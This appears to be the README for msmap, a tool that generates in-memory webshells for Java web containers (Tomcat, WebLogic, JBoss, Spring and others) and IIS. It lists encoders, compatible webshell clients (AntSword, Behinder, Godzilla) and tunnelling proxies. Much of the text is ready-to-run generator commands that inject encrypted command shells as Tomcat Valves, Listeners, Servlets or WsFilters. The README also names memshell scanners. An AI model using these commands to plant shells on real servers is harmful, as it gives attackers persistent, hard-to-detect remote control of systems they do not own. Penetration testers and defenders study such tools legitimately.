webshell/msmap

MSMAP

Msmap is a Memory WebShell Generator. Compatible with various Containers, Components, Encoder, WebShell / Proxy / Killer and Management Clients. 简体中文

The idea behind I, The idea behind II

Feature [WIP]

Function

• Dynamic Menu
• Automatic Compilation
• Generate Script
• Lite Mode
• Graphical Interface

Container

• Java
  • Tomcat7
  • Tomcat8
  • Tomcat9
  • Tomcat10
  • Resin3
  • Resin4
  • WebSphere
  • GlassFish
  • WebLogic
  • JBoss
  • Spring
  • Netty
• .NET
  • IIS

WebShell / Proxy / Killer

• WebShell

  • CMD / SH
  • AntSword
  • JSPJS
  • Behinder
  • Godzilla

• No need for modularity

Proxy: Neo-reGeorg, wsproxy

Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner

Decoder / Decryptor / Hasher

• Decoder
  • Base64
  • Hex
• Decryptor
  • RC4
  • AES128
  • AES256
  • RSA
• Hasher
  • MD5
  • SHA128
  • SHA256

Usage

git clone git@github.com:hosch3n/msmap.git
cd msmap
python generator.py

[Warning] MUST set a unique password, Options are case sensitive.

Advanced

Edit config/environment.py

# Auto Compile
auto_build = True

# Base64 Encode Class File
b64_class = True

# Generate Script File
generate_script = True

# Compiler Absolute Path
java_compiler_path = r"~/jdk1.6.0_04/bin/javac"
dotnet_compiler_path = r"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"

Edit gist/java/container/tomcat/servlet.py

// Servlet Path Pattern
private static String pattern = "*.xml";

WsFilter does not currently support automatic compilation. If an encryption encoder is used, the password needs to be the same as the path (eg /passwd)

Example

CMD / SH

Command with Base64 Encoder | Inject Tomcat Valve

python generator.py Java Tomcat Valve Base64 CMD passwd

AntSword

Type JSP with default Encoder | Inject Tomcat Valve

python generator.py Java Tomcat Valve RAW AntSword passwd

Type JSP with aes_128_ecb_pkcs7_padding_md5 Encoder | Inject Tomcat Listener

python generator.py Java Tomcat Listener AES128 AntSword passwd

Type JSP with rc_4_sha256 Encoder | Inject Tomcat Servlet

python generator.py Java Tomcat Servlet RC4 AntSword passwd

Type JSPJS with aes_128_ecb_pkcs7_padding_md5 Encoder | Inject Tomcat WsFilter

python generator.py Java Tomcat WsFilter AES128 JSPJS passwd

Behinder

Type default_aes | Inject Tomcat Valve

python generator.py Java Tomcat Valve AES128 Behinder rebeyond

Godzilla

Type JAVA_AES_BASE64 | Inject Tomcat Valve

python generator.py Java Tomcat Valve AES128 Godzilla superidol

Known issue

Reference

GodzillaMemoryShellProject

AntSword-JSP-Template

As-Exploits memshell_manage

Behinder | wsMemShell | ysomap